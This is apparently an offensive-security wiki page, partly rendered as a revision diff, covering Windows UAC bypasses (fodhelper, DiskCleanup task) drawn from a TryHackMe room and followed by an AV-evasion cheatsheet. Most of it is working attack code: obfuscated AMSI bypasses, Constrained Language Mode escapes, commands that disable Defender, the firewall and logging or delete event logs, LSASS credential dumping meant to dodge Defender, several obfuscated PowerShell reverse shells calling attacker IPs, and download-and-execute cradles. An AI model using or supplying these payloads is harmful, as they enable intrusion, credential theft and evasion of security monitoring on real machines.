# Set the default value of the ms-settings ProgID key to your evil command | # Set the default value of the ms-settings ProgID key to your evil command | ||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force | Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force | ||
# Start the fodhelper process to execute your command with elevated privileges | # Start the fodhelper process to execute your command with elevated privileges | ||
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | ||
# Cleaning up the mess created by removing the ms-settings registry key and its subkeys | # Cleaning up the mess created by removing the ms-settings registry key and its subkeys | ||
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force | Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== UAC - Improving Fodhelper exploit to Bypass Windows Defender === | === UAC - Improving Fodhelper exploit to Bypass Windows Defender === | ||
Instead of writing our payload into <code>HKCU\Software\Classes\ms-settings\Shell\Open\command</code>'''''', we will use the <code>CurVer</code>'''''' entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type. | Instead of writing our payload into <code>HKCU\Software\Classes\ms-settings\Shell\Open\command</code>'''''', we will use the <code>CurVer</code>'''''' entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type. | ||
To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use. | To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use. | ||
The exploit code proposed by @V3ded. | The exploit code proposed by @V3ded. | ||
This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV. | This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Define the command you want to execute with elevated privileges | # Define the command you want to execute with elevated privileges | ||
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes" | $program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes" | ||
# Creating file association for custom extension ".pwn" to execute your command | # Creating file association for custom extension ".pwn" to execute your command | ||
# Create a new registry key for the file extension ".pwn" under the current user's hive | # Create a new registry key for the file extension ".pwn" under the current user's hive | ||
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force | New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force | ||
# Set the default value of the ".pwn" key to your program/command | # Set the default value of the ".pwn" key to your program/command | ||
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force | Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force | ||
# Create a new registry key under the current user's hive for the ms-settings ProgID association | # Create a new registry key under the current user's hive for the ms-settings ProgID association | ||
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force | New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force | ||
# Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension) | # Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension) | ||
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force | Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force | ||
# Start the fodhelper process to execute your command with elevated privileges | # Start the fodhelper process to execute your command with elevated privileges | ||
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Case study: Disk Cleanup Scheduled Task === | === Case study: Disk Cleanup Scheduled Task === | ||
Source: [https://tryhackme.com/room/bypassinguac TryHackMe | Bypassing UAC] | Source: [https://tryhackme.com/room/bypassinguac TryHackMe | Bypassing UAC] | ||
To understand why we are picking Disk Cleanup, let's open the '''Task Scheduler''' and check the task's configuration: | To understand why we are picking Disk Cleanup, let's open the '''Task Scheduler''' and check the task's configuration: | ||
[[File:24b5ce8c9a6cb1194ed66054bc2ed09e.png|thumb]] | [[File:24b5ce8c9a6cb1194ed66054bc2ed09e.png|thumb]] | ||
Here we can see that the task is configured to run with the '''Users''' account, which means it will inherit the privileges from the calling user. The '''Run with highest privileges''' option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn't work. | Here we can see that the task is configured to run with the '''Users''' account, which means it will inherit the privileges from the calling user. The '''Run with highest privileges''' option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn't work. | ||
Checking the Actions and Settings tabs, we have the following: | Checking the Actions and Settings tabs, we have the following: | ||
[[File:3b8dd4c6a441eb19620bc3bedd536a8b.png|thumb]] | [[File:3b8dd4c6a441eb19620bc3bedd536a8b.png|thumb]] | ||
The task can be run on-demand, executing the following command when invoked: | The task can be run on-demand, executing the following command when invoked: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive% | %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive% | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually. | Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually. | ||
Luckily for us, we can override the <code>%windir%</code> variable through the registry by creating an entry in <code>HKCU\Environment</code>''''''. If we want to execute a reverse shell using socat, we can set <code>%windir%</code> as follows (without the quotes): | Luckily for us, we can override the <code>%windir%</code> variable through the registry by creating an entry in <code>HKCU\Environment</code>''''''. If we want to execute a reverse shell using socat, we can set <code>%windir%</code> as follows (without the quotes): | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
"cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM " | "cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM " | ||
</syntaxhighlight> | </syntaxhighlight> | ||
At the end of our command, we concatenate "&REM " (ending with a blank space) to comment whatever is put after <code>%windir%</code> when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed): | At the end of our command, we concatenate "&REM " (ending with a blank space) to comment whatever is put after <code>%windir%</code> when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed): | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive% | cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive% | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Where anything after the "REM" is ignored as a comment. | Where anything after the "REM" is ignored as a comment. | ||
=== Putting it all together === | === Putting it all together === | ||
Let's set up a listener for a reverse shell with nc: | Let's set up a listener for a reverse shell with nc: | ||
<code>nc -lvp 4446</code> | <code>nc -lvp 4446</code> | ||
We will then connect to the backdoor provided on port 9999: | We will then connect to the backdoor provided on port 9999: | ||
<code>nc MACHINE_IP 9999</code> | <code>nc MACHINE_IP 9999</code> | ||
And finally, run the following commands to write our payload to <code>%windir%</code> and then execute the DiskCleanup task (be sure to replace your IP address where needed): | And finally, run the following commands to write our payload to <code>%windir%</code> and then execute the DiskCleanup task (be sure to replace your IP address where needed): | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP::4446 EXEC:cmd.exe,pipes &REM " /f | C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP::4446 EXEC:cmd.exe,pipes &REM " /f | ||
C:\> schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | C:\> schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | ||
</syntaxhighlight> | </syntaxhighlight> | ||
As a result, you should obtain a shell with high IL: | As a result, you should obtain a shell with high IL: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 5,395: | Line 4,162: | ||
Microsoft Windows [Version 10.0.17763.1821] | Microsoft Windows [Version 10.0.17763.1821] | ||
(c) 2018 Microsoft Corporation. All rights reserved. | (c) 2018 Microsoft Corporation. All rights reserved. | ||
C:\Windows\system32>whoami /groups | find "Label" | C:\Windows\system32>whoami /groups | find "Label" | ||
Mandatory Label\High Mandatory Level Label S-1-16-12288 | Mandatory Label\High Mandatory Level Label S-1-16-12288 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To retrieve the DiskCleanup flag, use your new shell to execute: | To retrieve the DiskCleanup flag, use your new shell to execute: | ||
Administrator: Command Prompt | Administrator: Command Prompt | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\flags\GetFlag-diskcleanup.exe | C:\flags\GetFlag-diskcleanup.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Clearing our tracks === | === Clearing our tracks === | ||
As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command: | As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
reg delete "HKCU\Environment" /v "windir" /f | reg delete "HKCU\Environment" /v "windir" /f | ||
</syntaxhighlight> | </syntaxhighlight> | ||
= Living off the Land = | = Living off the Land = | ||
== What is Living off the Land? == | == What is Living off the Land? == | ||
"Living Off the Land" refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions. | "Living Off the Land" refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions. | ||
== Windows Sysinternals == | == Windows Sysinternals == | ||
The following are some popular Windows Sysinternals tools: | The following are some popular Windows Sysinternals tools: | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 5,467: | Line 4,221: | ||
| Provides information for a specified domain name or IP address. | | Provides information for a specified domain name or IP address. | ||
|} | |} | ||
== LOLBAS Project == | == LOLBAS Project == | ||
[https://lolbas-project.github.io/ LOLBAS (lolbas-project.github.io)] | [https://lolbas-project.github.io/ LOLBAS (lolbas-project.github.io)] | ||
[[File:2023-06-image-23.png|thumb]] | [[File:2023-06-image-23.png|thumb]] | ||
[[Category:Offensive Security]] | [[Category:Offensive Security]] | ||
Latest revision as of 22:19, 17 February 2026

Source
- Evasion techniques (checkpoint.com) - GREATE SOURCE FOR EVASION TECHNIQUES
- Win32 API calls are well documented under the Windows API documentation and pinvoke.net.
Good tools
- Process Explorer - Sysinternals | Microsoft Learn - Monitor process in detail
- Overview - Process Hacker (sourceforge.io) - A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware.
Malware forums/channels/discord
- Havoc Framework discord
- Hacktricks discord
- OnlyMalware Discord (Need to write intro)
Test payload against AV
- https://virustotal.com (Don’t use if you want your payload to be udetected. Virustotal sends a copy of payload to antiviurs vendors.
- Jotti's malware scan ( All files are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved.)
Defcon - Writing custom backdoor payloads with C#
WritingCustomPayloads_Defcon27_LabGuideDownload
Step by Step for obfuscating code
- Rename Variables: Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code.
- Use different method for injection. Don't rely on VirtualAlloc, as that would be flagged easily.
- Remove Whitespace and Formatting: Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow.
- Split Strings: Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code.
- Use Obfuscated Logic: Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code's behavior.
- Add Dummy Code: Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze.
- Replace Constants: Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value
1, you could use a calculation likeMath.Sqrt(1).
- Remove or Modify Comments: Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader.
- Code Rearrangement: Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow.
- Use Hexadecimal or Binary Representation: Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance.
- Code Fragmentation: Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program.
- Use Evasion techniques (checkpoint.com): Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you're targeting a client machine is to check for mouse movement.
- Use threatcheck or defendercheck: You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it.
AV Evasion MindMap - From Start to finish
(AV) Anti-Virus - The Hacker Recipes
General AV Evasion cheatsheet
Check AV - Running, Exclusion, Disable
- Check if Windows Defender is running:
Get-MpComputerStatus | Select RealTimeProtectionEnabled
- Get info about Windows Defender:
Get-MpPreference
- Find excluded folders from Windows Defender:
Get-MpPreference | select Exclusion*
- Create exclusion:
Set-MpPreference -ExclusionPath "<path>"
- Check AV detections:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
- Get last AV detection:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
- Disable AV monitoring:
Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true
- Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1
- Enumerate AV / EDR: https://github.com/tothi/serviceDetector
// What AV is running on the system
// Importing necessary namespaces
using System;
using System.Management;
internal class Program
{
static void Main(string[] args)
{
var status = false; // Variable to track the presence of antivirus software
Console.WriteLine("[+] Antivirus check is running .. ");
// Array of antivirus processes to check for
string[] AV_Check = {
"MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe",
"bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe",
"avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe",
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
};
// Creating a ManagementObjectSearcher to query Windows processes
var searcher = new ManagementObjectSearcher("select * from win32_process");
var processList = searcher.Get(); // Retrieving the list of processes
int i = 0;
foreach (var process in processList)
{
// Checking if the process is one of the antivirus processes
int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
if (_index > -1)
{
// Antivirus process found
Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
status = true;
}
i++;
}
// Checking the status variable to determine if antivirus software was found or not
if (!status)
{
Console.WriteLine("--AV software is not found!");
}
}
}
Windows Firewall
- Get state:
Get-NetFirewallProfile -PolicyStore ActiveStore
- Get rules:
Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
- Disable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- Enable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
- Change default policy:
Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
- Open port on firewall:
netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
- Remove firewall rule:
Remove-NetFirewallRule -DisplayName "Allow port"
Powershell - ASMI bypass methods, Disable AV, etc
AMSI Bypass
- Start 64 bit powershell:
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
- Change execution policy:
Set-ExecutionPolicy Bypassor-ExecutionPolicy Bypass
- Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:
If patched, just change up the strings/variables.
Single-line bypasses:
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)
Multi-line bypass:
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType ( (' {0} {1}i {2}' -f $a,$b,$u))
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)
Single-line bypasses:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Credit: https://buaq.net/go-98295.html
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
Credit: https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification (however, I think it's originally from Matt Graeber)
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
Credit: https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html
Bypass CLM (Constrained Language Mode)
Escapes for Constrained Language Mode:
# Escape 1
$ExecutionContext.SessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode
# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"
# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 5
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 6
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 7
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('signatures','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.List[string]'))
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('optimizedAstCache','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.Dictionary[string,System.Management.Automation.Ast]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode
# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}
Bypass logging
Logging evasion techniques:
# Technique 1: Disable Script Block Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
Disable MS Defender (Require elevation)
Turning off Windows Defender:
Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true
Add folder exclusion
Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"
Checking exclusions
Get-MpPreference | Select-Object -Property ExclusionPath
ExclusionPath
-------------
{C:\temp}
LSASS dumping without triggering Defender
$S = "C:\temp"
$P = (Get-Process lsass)
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
$C = [Reflection.BindingFlags] 'NonPublic, Static'
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C)
$PF = "$($P.Name)_$($P.Id).dmp"
$PDP = Join-Path $S $PF
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$F.Close()
Reverse Shells
Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2 = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)
Reverse PowerShell:
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("PS> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
Execute assembly in memory
WebClient DownloadData http://x.x.x.x/file.exe method:
$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)
Tools that may help with AV Evasion:
Text Encoding Technique for Bypassing Detection and Remote Command Execution
cat rev.ps1
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.2', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("PS $(pwd)> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0
